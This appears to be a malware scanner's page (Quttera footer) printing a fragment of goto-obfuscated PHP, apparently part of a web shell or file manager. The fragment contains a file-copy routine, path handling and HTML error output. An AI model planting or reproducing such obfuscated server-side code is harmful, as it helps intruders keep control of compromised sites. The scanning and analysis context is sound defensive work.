 liQH8: aSyZf: goto efPjX;
 Y3cSH: KQ3bU: goto r06_9;
 Qbs_F: a7DFS($JQewE, ["k" => "x", "t" => "err"]);
 goto rO5G5;
 G13yv: echo "<div class="msg err">cannot read</div> ";
 goto jqTHG;
 UZKMP: $IkyNW = rtrim($JQewE, "\/") . DIRECTORY_SEPARATOR . $TFe0M;
 goto klFiq;
	 s6U7M: function vpH1x($Qd88C, $DJ0qa) {
	 goto Fw3fB;
	 s5DQB: return $UefZq;
	 goto xPTus;
		 nhKoS: if (!(!is_dir($o1cuT) || !is_writable($o1cuT))) {
		 goto pGaX9;
		 
	}
	 goto Y7t7G;
	 GclpW: return false;
	 goto DFolC;
	 vXEa3: return false;
	 goto eXxbJ;
		 KFZw0: if (!($x2d1S === false || @fwrite($XFs1k, $x2d1S) === false)) {
		 goto THqTJ;
		 
	}
	 goto b149g;
	 wSnDQ: @fclose($XFs1k);
	 goto s5DQB;
	 W1jGv: return false;
	 goto rqEDU;
	 aoLML: goto SWwdz;
	 goto u0pas;
	 eXxbJ: bWkBd: goto alUL7;
	 oUIza: @fclose($tEGAZ);
	 goto vXEa3;
		 UvKYB: if (feof($tEGAZ)) {
		 goto SWwdz;
		 
	}
	 goto CWSP3;
		 ob_b1: if ($tEGAZ) {
		 goto rGu6_;
		 
	}
	 goto W1jGv;
	 CWSP3: $x2d1S = @fread($tEGAZ, 65536);
	 goto KFZw0;
	 u0pas: THqTJ: goto KxVuq;
	 b4HsG: QLblB: goto UvKYB;
	 lVFwh: $tEGAZ = @fopen($Qd88C, "rb");
	 goto ob_b1;
	 BuT9z: SWwdz: goto NMq4N;
		 Fw3fB: if (file_exists($Qd88C)) {
		 goto XxD6d;
		 
	}
	 goto GclpW;
		 PvBJn: if ($XFs1k) {
		 goto bWkBd;
		 
	}
	 goto oUIza;
	 rqEDU: rGu6_: goto tyunu;
	 NMq4N: @fclose($tEGAZ);
	 goto wSnDQ;
	 DFolC: XxD6d: goto aeZCs;
	 alUL7: $UefZq = true;
	 goto b4HsG;
	 KxVuq: goto QLblB;
	 goto BuT9z;
	 fLc9a: pGaX9: goto lVFwh;
	 aeZCs: $o1cuT = dirname($DJ0qa);
	 goto nhKoS;
	 b149g: $UefZq = false;
	 goto aoLML;
	 tyunu: $XFs1k = @fopen($DJ0qa, "wb");
	 goto PvBJn;
	 Y7t7G: return false;
	 goto fLc9a;
	 xPTus: 
}
 goto CEC9j;
 t0kSU: echo " </table> </div></div></body></html>";



© 2023 Quttera Ltd. All rights reserved.